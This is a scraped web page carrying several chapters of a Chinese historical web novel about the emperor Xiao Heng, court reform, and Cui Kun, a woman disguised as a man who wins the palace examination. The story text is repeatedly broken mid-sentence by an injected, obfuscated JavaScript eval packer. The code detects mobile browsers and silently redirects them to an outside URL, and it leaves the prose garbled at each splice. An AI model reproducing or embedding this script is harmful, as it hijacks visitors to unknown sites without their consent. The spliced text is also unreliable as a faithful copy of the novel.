d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566385|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过翻覆之间。 每个君王都会有无尽的欲望。权欲,色圌欲,征服欲,滥杀之欲。他们的一己之欲可以用整个帝国填满,帝国的供奉也会让他们欲壑难填。 这似乎变成了君王的天性,而萧恒十数年竭尽全力,在抵抗这种腐蚀。 抵抗权力的腐蚀。 抵抗欲望的腐蚀。 抵抗似乎通达理想的捷径的腐蚀。 萧恒说:“我曾经无数次想过,把他们杀了,把他们全部杀光。我一挥手三大营和禁卫军就能帮我做到。每当这个时候,我就要来这里静坐,我要听李渡白拷问我:我现在更像一个皇帝,还是一个废皇帝的‘人’?” 一个人,生杀大权握于其手,很容易丧失对生命的敬畏。 不只对善人和亲人,还有对仇敌作为“人”的生命的敬畏。 天子至高的杀戮大权,是一个打开后再难旋死的阀门。今天他能越过司法杀掉这群人,明天就能杀掉一切反对他的人。 再往后,他会毫无负担、心安理得地杀一切想杀的人。 为什么会毫无负担?因为这是解决矛盾的一条捷径。 尤其是一条通往正义的捷径。 怎么才能清除前进路上的障碍?杀了他们。 怎么才能实现那个美好圆满的理想?杀了他们。 怎么才能让“正义”立刻伸张?杀了他们。 这是个无比可怕的推进,杀越多的人,就越接近正义。 但每个对立的人,都是罪当至死吗? 如果我杀掉所有人——所有罪不至死的反对者来实现正义,那我所实现的正义,真的是我要实现的正义吗? 萧恒看向杨峥,从他脸上看到了一种熟悉的表情,是任何臣民面对一个真正的君主所产生的畏惧之情。 萧恒说:“杨卿,你其实不了解我。我有至少十年的时间在不分昼夜地杀人。登基后我在朝堂杀人,青年时我在战场杀人,更早的时候我可以在任何场合杀人。我今天可以坦然告诉你,我会为杀人痛苦,但同时,我也对杀人上瘾。我比任何一任梁帝都更有做暴君的潜质,现在生杀大权在我手里,其实是一件无比可怕的事。” “所以,国法是我的一条底线,我必须恪守它,以免把整个国家陷入更可怕的境地。”萧恒说,“有朝一日我会杀掉一些人,那一定是因为他们犯下无可饶恕、证据确凿的重罪,而不是因为他们阻碍了我走向正义的道路。” 萧恒看向画中李寒,道:“我们一直把打压世族和惩治贪腐结合在一起,但你觉不觉得,贪官和世族其实不能粗暴地一概而论?郑氏夏氏还有你杨氏,都是世族大家,夏公梧捍卫世族尊严,但他跟王云楠兄弟能够等同吗?” 萧恒声音有些飘渺:“这些年我一直在想,我的所作所为或许正义,但到底是对是错?” 杨峥讶然道:“陛下……?” 萧恒道:“早年的变法不可谓不激烈,从上至下的制度条例,能动的大方面我和渡白都动了,但结果你也见了。我之前不明白,为什么对的事情无法做成,为什么百姓宁愿要容忍压在他们身上吸血的人,也不愿意接受一个新的可能。” 他没让杨峥回答,而是直接给出答案:“因为穷。” “我以前解决穷的思想,就是征收剥削者的不义之财。我们查贪是为了整治不均,但这只是其一。百姓穷苦,还有一个至关重要的原因。 “总的钱太少,钱生得太慢。” “就像种地,一亩地能种出一石半的粮食,其中一石被世族侵占,只剩半石分给百姓。重新分配他们盘剥的那一石粮食固然重要,但如果我们能有法子,使亩产两石甚至三石,百姓会不会过得更好一些?” 杨峥会意,道:“技术要改。” 萧恒颔首,“改技术是要普遍推行的事,不仅要花钱,更要支持。不少老世家泥古不化,但也有一些人,有活络的心思。夏公梧对农具和纺织改革的事很上心,对火器研制,有一些年轻新贵,也有更包容的态度。” 杨峥道:“陛下是说……嘉国公世子?” 他就知道萧恒让虞闻道近身萧玠,不只是陪伴的事。 萧恒道:“你还记得去年阿玠为什么要住到行宫吗?” 杨峥回忆起奉皇十五年那场艰难推进的军械改革。萧恒要将十之有八的硝石矿收归国有,颁布火药私制的禁令,还要改良火器。 硝石矿盈利巨大,几乎均由地方豪族垄断,更别说军械制作能刮出多少油水,世族几乎倾巢而动,掀起巨大的反对浪潮。 但其中并非没有中立,或者微微倾斜向皇帝的声音。 杨峥会意:“臣记得嘉国公并没有协同表态。” 萧恒从供奉画像的香案上拿过一只匣子,取出一份图纸交给杨峥,“你看看这个。” 杨峥打开,大吃一惊。 是一幅新式火铳的图纸。 更是萧恒新进推行改良的军械之一。 真正让他惊讶的,是图纸侧所署的绘者姓名。 ——臣嘉国公世子虞闻道再拜谨奉。 杨峥微微吸口气。 果然,虞山铖的儿子、嘉国公的嗣子怎么会是个膏粱纨绔。 “还不只这些,”萧恒捏了捏杨峥的手指,“近日虞山铖以立后大喜为名捐了一笔军费,有这个数。” 杨峥睁大眼睛,“虞氏富裕至此?” 萧恒问:“你觉得地方贪墨,嘉国公府能独善其身么?” 这的确是一个示诚,但未必不是另一种暗示。 在改革矛盾激化之际,萧恒没有明文废除部曲制度。虞氏能够进行如此精密的火器设计,其部曲之中,一定有虞成柏虞山铭留下的精兵,这是其一。 其二,虞山铖手中,一定有比此类更高明的火器。而他能轻易拿出这笔资奉,未尝不是一种新的试探。 试探萧恒的底细,试探打压世族和革新技术这二者,谁才是萧恒心中最重要的一节。 做敌人还是忠臣,你说了算。 杨峥问:“这笔资奉……” 萧恒道:“我收下了。” 杨峥道:“陛下要化敌为友。” 萧恒道:“也是韬晦待时。” “诸公之乱不能再来一次,就算来,也要先发制人。”他和画中李寒对视,“如果要废除世族制度,和虞氏合作,无异于与虎谋皮。但如果只是打压旧贵族,嘉国公未必不是助力。怀帝朝后,虞氏没落,他把儿子送到阿玠身边,也有依附未来的新君,恢复荣光的意思。” 既如此,萧恒对老派势力的打击,虞氏会鼎立支持。更别说虞闻道这个未来的继承人,对技术改革抱有积极包容的态度。 萧恒想要进行的工具改革,不管在人力物力还是政策执行上,有这些开明世族的支持会容易很多。 更何况,虞山铖私有火器,到底得防患未然。就算从长远的制度改革来看,从前对世族一概打击,只能使其抱成铁板一块。如今外力撤掉,新旧世族交锋、新思想和旧观念争斗,对早晚要废除世族制度的萧恒来说,是一次坐观虎斗。 杨峥道:“臣领会得。” “新式火器已经加紧研制,有关火炮,我已经让兵部协军械监改良造炮。这次叫你,另有重任托付。”萧恒道,“嘉国公府高风亮节最好,若非此,收集虞氏各种罪证,调查清楚他们的底细。地方贪墨和这件事皆非易事,我会选一些年轻人做你的助力。” 杨峥了然:“选士也快落定了。” “制度改革暂缓,这些行动也要隐秘起来。”萧恒说,“团结能团结的一切势力,发展我们要发展的东西。现在,先争朝夕。” 晚风吹拂,壁上卷轴微动,画中人欲下丹青来。 等离开两仪殿时,杨峥已经忘却,萧恒回避了他最初的问题: 如果有朝一日萧玠这根软肋被犯,他会怎么办。 43. 第 43 章 殿试一般在春日举行,故称春闱,但因萧玠一场大病,被一拖再拖到夏天。在这场不同寻常的“夏闱”里,萧恒做出一个史无前例的决定: 此次殿试,允许太子旁听。 这像是一个讯号,一直将太子保护在朝堂之外的天子,开始让儿子接触朝政。 殿试当日,六月初一,五更天至,萧玠便从床上爬起,早早穿戴好朝服。秋童奉旨接他过去,见了人便笑道:“瞧殿下这正襟危坐的,还以为要跟举子一块应试呢。” 萧玠有些不好意思,只问:“阿爹呢?” 秋童道:“陛下一早往昭阳殿去了。” 萧玠没料到萧恒竟走得这样早,忙要出门。秋童笑着将食匣子捧上来,道:“不急,殿下忘了,奉皇二年之后,文正公就把殿试的体制改了。举子们的卷子送到,考官们确定名次、并由陛下御览钦定后,众举子还需去含元殿单独问对。到时候陛下根据他们的卷子答随机提问。陛下说了,殿下在问对前赶到就好。” 萧玠便整理衣袍,边道:“其实我不太明白,既然确定了名次,又何必单独问对?” 秋童道:“听陛下的意思,是心中有数,好知道如何安排官职。嗐,殿下去瞧瞧就知道了。” 萧玠赶去含元殿时正遇见众臣工辞去,他也就知道,名次已定。接下来的问对无需众员参加,只天子和主考官在场即可。 萧恒仍在翻看卷子,萧玠的位子就安置在他身旁,用一道珠帘阻隔。等他坐下,萧恒便递卷子给他看。 萧玠看清卷上的题目,心中咯噔一跳。 他低头去看杨峥,这次殿试的命题人和主考官。夏秋声作为主考之一也在当场,与杨峥左右站齐,又相互对立。 萧玠知道,同样与题的夏秋声曾反对题目,但父亲并未采取他的意见。 这次的试题很简短,也很犀利,只有五个字: 论官逼民反。 突然,萧恒翻动试卷的手指一顿,纸页响动声停止。 他抽出一张卷子,从头到尾看过,对一旁的秋童低语几句。秋童当即下阶,扬声道:“宣清河考生崔鲲入殿。” 秋童唱名的余音回荡之中,萧玠隔着珠帘,看一个青色身影跨入殿内。 身形清瘦,面容清秀,穿一件寻常儒衫,先向萧恒下拜叩首。 崔鲲抬起头时,萧玠蓦地睁大双眼。 他抓紧座椅扶手,竭力遏制自己的身体从椅中弹起。 下方,是一张他无法忘却、难以忘却的脸。 春日,他拂开柳枝,见郑绥对面,是一双持有香囊的素手。他视线上移,看到那个女孩子。 她被众人称呼为崔娘子,尚不能飞的乳燕是她的名字。 而今天,含元殿上,那双素手向上而揖时,那张脸颊抬起。它们的主人正掷地有声道: “臣清河崔鲲,叩问陛下圣安。” 萧玠胆战心惊。 她不是许嫁郑绥、一同离京了吗,如今怎么女扮男装参加科举? 这是欺君重罪,万一父亲为此动怒…… 萧玠心中打鼓时,萧恒已放下试卷,道:“起来说话。崔鲲,你在卷中讲,民反的结局并不正义。” “是。” “你的试卷我看过了,现在你再同太子讲讲,你为什么认为不正义。” 崔燕微——崔鲲的嗓音变了,不再是少女的清脆,而是一股沙哑的柔和:“臣遵旨。依臣之见,民之反是不得不为的反抗暴政之举。但历朝历代的民反结局不过有二,其一,为官招安。要论招安,就要先论逼民造反的贪官由何而来。臣所见,贪官之贪并非一人之贪欲,而是官僚体系的不清明所造就。各级官吏各为派系,凌驾于上,百姓或为官官相护的牺牲品,或为政治斗争的垫脚石,体制没有更改,只会有无尽的贪官。既如此,将造反者招入这样的官僚体系,只是为更大的贪欲驯养伥鬼。其二,官招安,民坚决不从,继续造反。若造反失败,九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566386|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 族尽灭,造反成功,说明当政依旧昏庸无道到极端的地步。但,若是成功之后呢?” 萧玠看向萧恒,见父亲点头示意崔鲲继续说下去。 崔鲲道:“依臣之见,农民造反的原因,无外乎一个极为朴素的愿望:获得土地。大梁以农为本,那土地就是天下之人的立身之本,皇权更是建立在土地权利之上。臣斗胆,与其说陛下是天子,不如说陛下是大梁最富裕的地主。” 崔鲲心底多少有些忐忑,声音渐渐止息,却听到天子的声音从上方传来:“说下去。” 崔鲲深吸口气,道:“是。如果将天子看作地主,那历朝历代的谋逆造反,本质上就是对土地的争夺。官与民的矛盾,归根结底是地主和农民对于土地所有的矛盾。而民之反,即是被地主压榨的农民奋起,取代旧地主,成为新地主继续盘剥。周而复始,无穷无尽,这就是民反结局最终导向的不正义。而官之不正义,不如说是地主之不正义。臣万死,若追本溯源,最大的地主指向并非官吏。” 这样一席话,萧玠听得心惊肉跳。连夏秋声都忍不住道:“崔郎,这是面圣,你慎言。” 杨峥却道:“他的卷子陛下已经御览,名次也是陛下亲自拟定的,倘若慎言,岂非欺君?” 夏秋声终究没有同他御前争执,崔鲲答毕,也静下来。萧恒再度开口:“崔鲲,我再问你一个问题。你不用着急,想好后作答。” 崔鲲应道:“是。” 萧恒看着他,语气平和:“你听好,是《孟子》《梁惠王上》的一句话。你认为,罔民者何也?” 话一出口,杨峥和夏秋声同时抬头。 这是奉皇二年科举殿试,由李寒亲拟的题目。 坑害天下之人的人,是谁。 殿中寂静。 所有人都在等待崔鲲的答案。 少顷,崔鲲冲萧恒跪倒,叩一个头后,她挺起脊背,直视君王。 “臣谨对。罔民者,君也。” 44. 第 44 章 萧玠身形一震,却被一只手轻轻按住。 萧恒的掌心覆住他,对崔鲲道:“继续。” 崔鲲抓紧衣袍,深深呼吸几下。她的声音微微发抖,但并没有就此中断,“百姓苦难的原因,天灾只占少数,人祸才是大头。就算官逼民反的极端之例,百姓的所求也不过活命和吃饭而已。活命不得,在于贫,民间作乱,在于穷。而导致贫穷的原因里,财富不均只是皮毛,权财固化才是根本。在当代,土地、财富和权力的获得,靠的不是能者而居,而是姓氏继承。年深日久,富者愈富而贫者愈贫,贵者愈贵而穷者愈穷。所谓‘问渠那得清如许,为有源头活水来’,若以水比时局,活水为善,死水不善。活水流动,故而清澈;死水静止,故而腐朽。要看谁在罔民,只需看谁的权力和财富最高、最重、最根深蒂固。世人皆骂昏官,但真正至高至尊的,不是官吏。” 她越说越激动,声音越来越抖,也越来越大。崔鲲再次叩首,回禀之声在含元殿回荡:“臣万死。但臣所议并非陛下,而是历代之民、累朝之君。君主在堂,百姓在野。君主称龙,百姓似草。君主一餐之龙肝凤髓,为万民千日所用之谷秕糟糠。君主取用,俱为百姓供养,然百姓所捐之税,本当为国库之用,为开路、为赈济、为架桥,为布教育、为养清廉、为设学堂。而历朝历代,公私不分,一朝之国库,俱为君主一家之私产。使建业之木、仓廪之粮、放赈之肉、济寒之衣、富国之技巧、嘉奖之金银,为雕梁、为美酒、为宴飨之精脍、为粹白之裘、为王孙取乐之玩艺、为妃嫔争宠之钗钿,如此种种,屡见不鲜。臣冒大不韪,发此言论。如此之君,岂非千古之贼,罔民之本?” 她额头抵在地上,脊背微微颤抖。 长久的静默后,萧恒开口,声音依旧平和:“很好,你下去吧。传下一位。” 崔鲲再次叩首,起身退出含元殿。她跨出门槛时,大内官秋童正扬声唱名:“樾州考生,汤惠峦——” *** 晚饭时,萧玠第三次把汤匙掉到碗里。 萧恒没法不看他,“在想事情?” 萧玠将汤匙捏起来,点点头。 萧恒没有追问,夹过一条黄花,将肉剔到碗里。 等他将一枚鱼骨头完整地剥出来时,萧玠终于问:“今日崔鲲这样顶撞,阿爹不生气?” 萧恒把那碗鱼肉递过去,反问:“阿玠觉得,他讲得不对吗?” 萧玠想了想,“可是……到底君为臣纲。” “那君为臣纲的道理,一定就对吗?” 这把萧玠弄糊涂了。 他愣了一会,才想起自己的初衷,道:“臣虽不太赞同崔鲲所言,但臣感觉得到,她是一片忠心。哪怕她奏对有不妥之处,也希望阿爹宽大视之。” 萧恒笑道:“原来殿下是来求情的。” 萧玠慢慢搅动粥碗,嘟哝:“——但阿爹本就没有惩戒她的意思。” 萧恒看他挟了块鱼肉,细细嚼了好久,像下定什么决心,问了父亲另一件事:“今日崔鲲奏对的问题,是奉皇二年的笔试题目?” “是。” “臣听闻裴玉清也是二年的进士,一直以来也颇得阿爹器重。”萧玠看向父亲,“那阿爹对她的芥蒂,是因为知道……她女扮男装,欺君罔上吗?” “芥蒂?”这把萧恒问糊涂了。 萧玠咬了点嘴唇,道:“裴玉清死后,阿爹不追谥、不设祭,更别说吊丧。如此冷待,难道……不是芥蒂?” “质本洁来还洁去,这是玉清的心愿。”萧恒道,“大梁官场辱没了她的气节,不能再玷污她的尸骨了。” 萧玠心中酸涩,不知如何开口,突然听萧恒道:“倒是今天这位崔鲲,叫我像瞧见了故人。” 他这话一出,突然撂下筷子,起身就走。 萧玠胸中砰砰作响。 阿爹素来目光如炬,难道遥遥一面,他已经认出崔鲲身份? 他似乎对裴兰桥没什么成见,那崔鲲呢?如果有,自己保不保得下她? 如果保不下……他怎么和郑绥交待呀! 这一会,萧恒已经走回来,手中拿一张卷子,卷头落着“弥封关防”的钤印。 萧恒递给他,“这是裴玉清殿试的试卷。” 这张卷子保存得很好,泛黄纸页上,故人笔迹似乎犹有余温。 萧玠接过来,一下子跳进眼中的是萧恒的朱批,鲜红六个大字:第一甲第三名。 萧恒的一句话更是平地之雷:“当年我的本意,是要点她为状元。” 他见萧玠讶然,笑了笑:“被你老师劝阻了。” 萧玠一愣,才领会这个老师指的是谁。他有些不解,“但老师素来刚正不阿……” 这不像李寒的作风。 提到李寒,萧恒的声音总是有些异样。他抬起头,正对上壁上李寒丹青绘就的目光。 萧恒缓缓道:“你老师说,宝剑之锋十年一磨。科举再开,世族本就怨声载道,榜首若不出自世家,只怕这把宝剑尚未磨成,就会被中道折断。为国识才易,为国储才难。” 未料他一语成谶。 萧恒没有继续讲下去。他的那颗心,萧玠却全然明白。 裴、李二人相继折损于京乱之中,而萧恒认定,这场灾难的导火索是他过于心急,在剪除汤氏后不加安抚,反而直接推行变法,这才叫世家狗急跳墙。 对他二人之死,萧恒一直悔恨颇深。 萧玠看向那张试卷,见卷首一手馆阁小楷赫然写道: 罔民之人,舍君其谁。 与今日崔鲲所论,如出一辙。 他头皮发麻,迅速读下去。萧恒没有开口,杨峥也不出声,一时只有萧玠轻轻呼吸声和纸页翻动声。半晌,萧玠将卷子合上,喃喃道:“好大胆。” 萧恒的声音让他回过神:“阿玠觉得,这篇策论写得怎么样?” 萧玠默了一会,说:“我讲不出。” 萧恒问:“那崔鲲今日所论,与之相较如何?” 萧玠沉吟片刻,“伯仲之间。” 萧恒笑了笑,“今日众人的试卷也给你看过,对答你也听过。阿玠认为,崔鲲应得个什么名次?” 萧玠一惊:“我……我不敢妄议。” 萧恒笑道:“爷们两个,随便说说。” 他的声音有一种不容抗拒的力量,但他的语气极其缓和:“阿玠,你不要只看她的叛逆。她的学识、辩才、思维、胆气,甚至你不太认同的她的观点——这一切,你都要好好想想。” 萧玠感觉身体一会热一会冷,呼吸也有些不稳。他抓紧汤匙,感觉像抓了一条滑不留手的泥鳅。那么黏滑,他全没意识到是自己的汗。 一下一下的呼吸声里,萧玠听见自己说:“堪为此科第一人。” *** 六月殿试,七月放榜。在这段间隔里,政君温吉辞行南还,皇帝携太子出郊相送。 萧玠望向步伐整齐的骑队,眼前却是九年之前辘辘南去的车马。车轮扬起黄尘,漫天飞舞后一只手打起车帘。车中人泪痕未干,向他投来惊心动魄的一眼。 就在这时,萧玠撞见一双眼睛。 黑白分明,连情绪都是。那么鲜明的爱恨,照过来,又平静如一潭死水。 一瞬间,黄尘马车消散。此时此刻,芳草连天,那个男孩子高坐马背,正转头看向他。 就是这一眼,便将什么谜语都道破、什么真相都告诉了。萧玠盯紧他的脸,想从他脸上看出一丁点其他人的痕迹,秦灼的自己的,甚至是萧恒的。但男孩已经拨马转身,不再回头。 反而这时,秦温吉掉首看了一眼。城门之前,萧玠红衣而立,像二十年前送她离乡的少年人。连他孱弱的身体和温驯的神气,都和当年秦灼不得不为的乖顺冥冥重合。 太像了,像到秦温吉无法抗拒,这个孩子只需站在面前,就能融化她的铁石心肠。 这一刻,她无比庆幸阻拦秦灼北上的决定。她太清楚,如果秦灼见到萧玠,此生再难重回南秦。萧玠一个人,就有一顾倾国之力。 夕阳下,秦华阳靴子敲打马腹的声音响起。秦温吉闻声看去,见他抬手拍打马颈,腕上三枚铜钱闪烁。接着,他在马耳边咕哝一声,像个熟习自然密语的山精。黑马应声高鸣,四蹄如飞。 而马背上的秦华阳呢,他将向前、向前、永远向前。所有人看到,在他面朝落日的脸上,闪耀着刺客般不屈的血光。 *** 送走秦温吉后,上林苑立即被打扫一新,以准备放榜之后进士赴宴。 按惯例,萧恒会提前三天赐下取用单子,但直至上林宴前一日,甘露殿依旧毫无动静。 因为杨峥将在宴席当日启程离京。 这也就意味着,王云楠案必须定下新的主审。 清晨毫无动静,晌午毫无动静,直至傍晚。 萧玠走进庭院时,萧恒正割麦子。 他自己弄的那块地约有一亩,一半种菜,一半种庄稼。 傍晚时分,云如火烧,天色阴沉。萧恒一只手挥动镰刀,一只手捽住麦秸,两手同时行动,一挥一扯间,势如砍头,形如杀人。麦实麦芒摔打在他脸上手上,让他因天色而如同炭黑的皮肤绽开烙铁的红痕。他鼻中喷出热气,身上却全无汗滴,萧玠在他颈边手臂爆起的青筋里,听到蛊毒长生啃噬他骨髓的咯吱声音。 萧恒矮身时,整个后背裸露出来,萧玠再次见到那可怕的伤疤。在这时,萧恒也看到了他。 萧恒说:“那些叶子和杆子,你挑一挑,一会给你搓蜻蜓。” 萧玠慢吞吞走到他身边。 他蹲下,将萧恒遗落的麦穗拾起,丢到麦堆。萧恒往前割,他就跟在后面拾穗。 萧恒说:“你坐回去,这边土呛,一会再咳嗽。” 萧玠置之不理。 萧恒终于停下动作,站起身,低头看向萧玠。 萧玠生起股犟劲,盯着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566387|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼睛。 萧恒说:“听话。” 萧玠看着他,一语双关:“为什么你能做,我就不能做?” 萧恒的肌肉松弛下来。他把镰刀放下,麦子抛堆,伸手把萧玠从地里拉出来。 他沉声说:“这不是你干的活。” 萧玠说:“阿爹,你是皇帝我就是皇帝的儿子,你是农民我就是农民的儿子。你种地我就能种地,你理政我就能理政,你杀人,我就能杀人。” 萧恒道:“这件事不一样。” 萧玠问:“有什么不一样?只因为我是半个南秦人,就不一样吗?” 一瞬间,萧恒脸上像绽裂一道透明伤口。他看了会麦堆,又转回眼睛,说:“阿玠,他是你阿耶。万一他真的牵扯进来……这个处置,不能你做。” “难道你就能处置他?”萧玠反问,“这么多年,你忘记过他,放下过他吗?” 两个人都静了,麦穗簌簌摇动声里,萧玠有些茫然。 没想到有朝一日,这道伤痕,这个人,竟能这样轻易地揭破、这样轻易地脱口而出。 许久,萧恒才能发出声音:“我放不下。” 他迅速道:“但阿玠,我已经辜负他,如果非得再对不住他,我最合适。” 萧玠急声问:“再对不住他,你还能放过你自己吗?” 他眼圈发红,忍了许久,还是咳嗽起来。萧恒忙替他抚背,要进去给他找药吃。萧玠紧紧抱住他一条手臂,许久,才平复下气息。 萧玠脸靠在他肩膀上,轻轻道:“阿爹,就算这件事真的和南秦有关,我来查,他不会恨我。也只有我来查,能够保护他。 “我是你的儿子,所以是你最坏的选择。但我也是他的儿子。” 萧玠看向他的眼睛。 “陛下,我也是你最好的选择。” 萧恒感受到他握着自己臂膀的那只手。自己的骨,秦灼的肉。他们的骨肉,可能要代表骨去审判肉。这是一场人伦的活剖。 萧玠见父亲没有反应,忙道:“我知道你的顾虑,这几天,我一直在问自己,如果是我来办,我一定能做到毫不徇私吗……所以臣请陛下,给臣一个得力之人,并给他相当的权力,能够辅佐臣、提点臣,必要时候,也可以挟制臣、骂醒臣。” 他牵起萧恒的手,抚摸过他手掌的伤口,慢慢与他十指交扣。 萧玠柔声说:“阿爹,夏天到了,麦子熟了。你不用天天给它施肥松土了。” 萧恒抬眼望去,黑天之下,麦实累累,宛如黄金。 *** 翌日,上林设宴。 杨峥离京。 新科进士打马游街的盛景让整个长安城热血沸腾,无分男女老少,纷纷夹道而观。人群往上林的方向簇拥而去,杨峥逆着人潮,牵马走向西城门,身边,是前来送行的夏秋声。 夏秋声问:“要走多久?” 杨峥笑笑:“不打准,快则一年半载,也可能十年八年。” 夏秋声正要开口,不远处,不知谁带头喊了一声,状元郎到了!一人呼则万人呼,喧天的喝彩声里,一匹白马从长街尽头奔驰而来。马背上驮一个大红身影,那张清秀脸庞上,露出新科状元崔鲲腼腆的笑容。 杨峥和夏秋声一同引颈,跟随游行的马队,忽然瞧见多年前开恩科的春日。春二月,夹道的欢呼声与香囊花枝的投掷间,他们帽插宫花,打马穿街。身穿状元红袍的夏秋声还那么年轻,鬓角没有白发,笑起来眼角也没有皱纹。他骑一匹装饰金鞍的高头白马,春风得意,眼睛依旧润如青玉。香囊抛来时杨峥前后闪避,听见砰地一声,不由回头去瞧,见身后裴兰桥一手握缰,一手是一只投来的四角香囊。她好看的眉头蹙起,让人想到的是宝剑锋芒而非青蛾触须。杨峥想,怪道俊俏不过探花郎,她的脸庞上,闪烁着一种超越榜首的耀眼光芒。 下一刻,裴兰桥叫他,杨峥尚未回神,已被她挥手将一物投在怀里,要喊人,那黑马已往前跑去了。杨峥打开掌心,见是一片秋香色上的竹枝明月。他往街边望,果然瞧见一双素手慌忙拢好幂篱,压低身体潜进人群,像鱼潜进海底。 那时候他们都还年轻,都以为那个春天,只是一个美好的开始。 万众同庆的欢闹里,夏秋声和杨峥在人群里对上眼神。 这么多年,他们各持己见,站在朝堂的对立面。同僚的争斗水火不容,同科的情谊却是百年难修。 夏秋声凝视杨峥的脸,崤北的风沙叫他看上去老了十岁,但他眼中却仍光彩闪烁。 “强龙不压地头蛇。京中到底有娘娘在,到了地方……”他叹口气,拱手,只是道,“士嵘,你多保重。” 杨峥翻上马背,冲他揖了揖手,接着抽响马鞭,逆人潮而行,凛冽秋风中他衣袍鼓动。 当日,上林苑上,皇帝下达了一道前所未有的诏令: 授崔鲲刑部员外郎一职,权同侍郎,理王府众女案。 东宫代天旁听。 45. 第 45 章 崔鲲离开怀化故居后,便在扶桑巷赁了一间屋子,不大,但足够她一人居住。她的确身负很多与世俗对女性认知相悖的特质,譬如,酒量。从她上林宴饮的表现来看,甚至堪称海量。 但这不代表她没有分毫醉意。 当她打开房门,看到屋中坐着的人时,第一反应是酒意上头。 镇定,崔燕微,你和储君毫无瓜葛,他不会出现在这里。 崔鲲在门槛外站住脚,用一种有些自我怀疑的目光,从上到下地审视这个身穿黑色披风的少年人。她揉了揉眉头,试图打散眼前幻影,这时,萧玠已经从椅中站起来,启开嘴唇—— “崔娘子。”他这么称呼她。 老天。 崔鲲没打算能瞒过萧玠,但这场有关身份的对谈,至少在她脑袋完全清醒的时候。 崔鲲立刻打断:“等等。” 萧玠从善如流地闭嘴。 他看着崔鲲摘下官帽,和鬓边簪的一朵大红牡丹绒花——这时节牡丹早谢了,就算是萧恒也只能叫人赶做绒花——然后重新走回庭院,从院中水缸里掬起清水,开始洗脸。 做完这一切,她才真正相信,眼前的萧玠并非醉意产生的影像,并且接受良好。 至少,她已经整理好仪容——如果不算从脸颊上滴落的清水的话——并冲萧玠一揖,“殿下可曾读过大梁律?” 萧玠不知所以,“读过一些。” “大梁律第四卷第十八条陈明,私闯民宅,笞四十。” “但大梁律对私闯民宅的限定,一是夜入人家,一是盗窃财物或伤人。我都没干。”萧玠从怀中取出一方帕子递给她,“崔娘子,我是真心诚意来造访的。” 崔鲲点点头,接过帕子擦脸,那点醉意也消退干净。她看了看桌上,“不管是君臣之礼还是待客之道,臣都该给殿下敬茶。但臣刚回来,烧水做茶就要浪费不少时辰。” 萧玠接道:“就不若开门见山。” 崔鲲颔首,抬头看向萧玠:“臣罪犯欺君,但看殿下并没有问罪的打算。” “虽不问罪,但想问清因由。”萧玠缓声道,“娘子已然许嫁郑绥,怎么会现身科举?” “因为妾同小郑将军的婚约,是一笔交易。”崔鲲道,“清河家风不比京中,十分守旧严苛。妾想考女试,父母却不甚认同。妾在家一日,便受困一日,若嫁作人妇,方能不受束缚。妾需要一个支持妾与试的郎婿。正巧,冠军大将军自京中登门提亲,妾也听闻,小郑对此推三阻四,瞧着不像有意风月之人,心觉有门,便趁机来到长安,想和他见面商议此事。妾通过侍女,向小郑递了一次信。” “妾的意思是,既两厢无意,女试之后,便和离。” 萧玠瞠目。 这是什么路数? 他吃惊道:“他答应了?” 崔鲲道:“一开始小郑颇有疑虑,信中片语又难以说清,妾便准备与他面议此事。只是那一阵殿下病重,小郑分身乏术,且男女有防,很难找到合适的时机。上次东宫宴请,妾也收到帖子,便与他借殿下宝地趁机详谈。小郑言明并无娶妻打算,与妾一拍即合,乐得救妾出水火。妾便将香囊交给他,让他做应付家中的定情之物,同时也是妾与他君子之约的凭证。” 春日情景柳絮般飞入脑海。垂柳后,池塘旁,男女对望,相托香囊。 所谓情衷,竟是这样的情衷。 崔鲲继续道:“小郑出京太早,且不知何时还京,怕误妾应试之期,便禀过父母,先去户部登记,对外只说妾随军出行。如此妾方得自由之身,方有今日。” 萧玠一时说不出话,半晌才道:“娘子豪赌,我实叹服。可……娘子不怕他惺惺作态,其实所托非人吗?娘子背井离乡,书聘已定,若对方事后变卦,又该如何自处?” 崔鲲笑道:“妾已山穷水尽,赌赢天高海阔,赌输便是嫁人,和不赌有什么区别?殿下不知清河之风,就算赌输,郑氏也做不出那些动辄打杀妻室的龌龊事,输也是一个上乘之选了。生路就在眼前,没胆走,我该死。但走了这条路,妾这条命,就要自己说了算。” 萧玠片刻后才得以回神,“只是若依此计,之后和离,到底有损娘子清誉。” 崔鲲笑了笑,却说了另一件事:“其实在一开始,妾并没打算女扮男装,妾本想直接应女科。女科无需欺君,又不必与读书千百年的男子同竞,对妾来说,本是上上之选。” 萧玠道:“这也是我不解之处。” “陛下奉皇六年正式开女科,至今十年,但收效甚微。”崔鲲问,“殿下知道其中的原因吗?” 